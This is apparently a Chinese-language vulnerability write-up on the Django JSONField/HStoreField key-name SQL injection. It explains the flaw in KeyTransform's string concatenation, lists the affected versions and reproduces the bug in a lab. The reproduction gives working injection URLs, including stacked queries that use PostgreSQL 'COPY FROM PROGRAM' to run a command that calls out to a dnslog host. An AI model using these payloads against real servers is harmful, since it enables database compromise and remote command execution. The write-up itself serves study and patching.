漏洞描述
Django
是一个由Python
编写的开源Web
框架,采用MTV
框架模式。
该漏洞需要开发者使用JSONField/HStoreField
且用户可控queryset
查询时的键名,在键名的位置实现SQL
注入。
Django
通常结合PostgreSQL
数据库进行使用,而JSONField
是该数据库的一种数据类型,漏洞成因在于Django
中JSONField
类的实现,Django
的model
的本质作用在于生成SQL
语句,但Django
在通过JSONField
生成SQL
语句时仅通过简单字符串拼接,通过JSONField
类获得KeyTransform
类并生成SQL
语句:
class KeyTransform(Transdform):
operator = '->'
nested_operator = '#>'
def __init__(self, key_name, *args, **kwargs):
super().__init__(*args, **kwargs)
self.key_name = key_name
def as_sql(self, compiler, connection):
key_transforms = [self.key_name]
previous.= self.lhs
while isinstance(previous, KeyTransform):
key_transforms.insert(0, previous.key_name)
previous = previous.lhs
lhs, params = compiler.compile(previous)
if len(key_transforms) > 1:
return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
try:
int(self.key_name)
except ValueError:
lookup = "'%s'" % self.key_name
else:
lookup = "%s" % self.key_name
return "(%s %s %s)" % (lhs, self.operator, lookup), params
其中key_name
是可控字符串,最终生成语句是WHERE(field-'[key_name]')='value'
。
影响版本
Django < 2.2.4
的Django 2.2.x
版本。
Django < 2.1.11
的Django 2.1.x
版本。
Django < 1.11.23
的Django 1.11.x
版本。
漏洞复现
访问管理员登录页面:http://<ip>:8000/admin
,默认帐密admin/a123123123
。
访问http://<ip>:8000/admin/vuln/collection
。
构造URL
:http://<ip>:8000/admin/vuln/collection/?detail__a'b=123
,页面报错:
Exception Value:
syntax error at or near "b') = '"
LINE 1: ...llection" WHERE ("vuln_collection"."detail" -> 'a'b') = '"12...
注入成功且能够查看注入语句,继续构造http://<ip>:8000/admin/vuln/collection/?detail__title')='1' or 1=1--
,由于or 1=1
永真,此时页面正常。
尝试命令注入,构造URL
:http://<ip>:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20
,报错原因:
Exception Value:
no results to fetch
这说明我们的命令已执行成功,继续尝试ping
一下dnslog
,构造http://<ip>:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping oopsdc.sadjoiqw.dnslog.cn'--%20
,成功检测到流量。
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。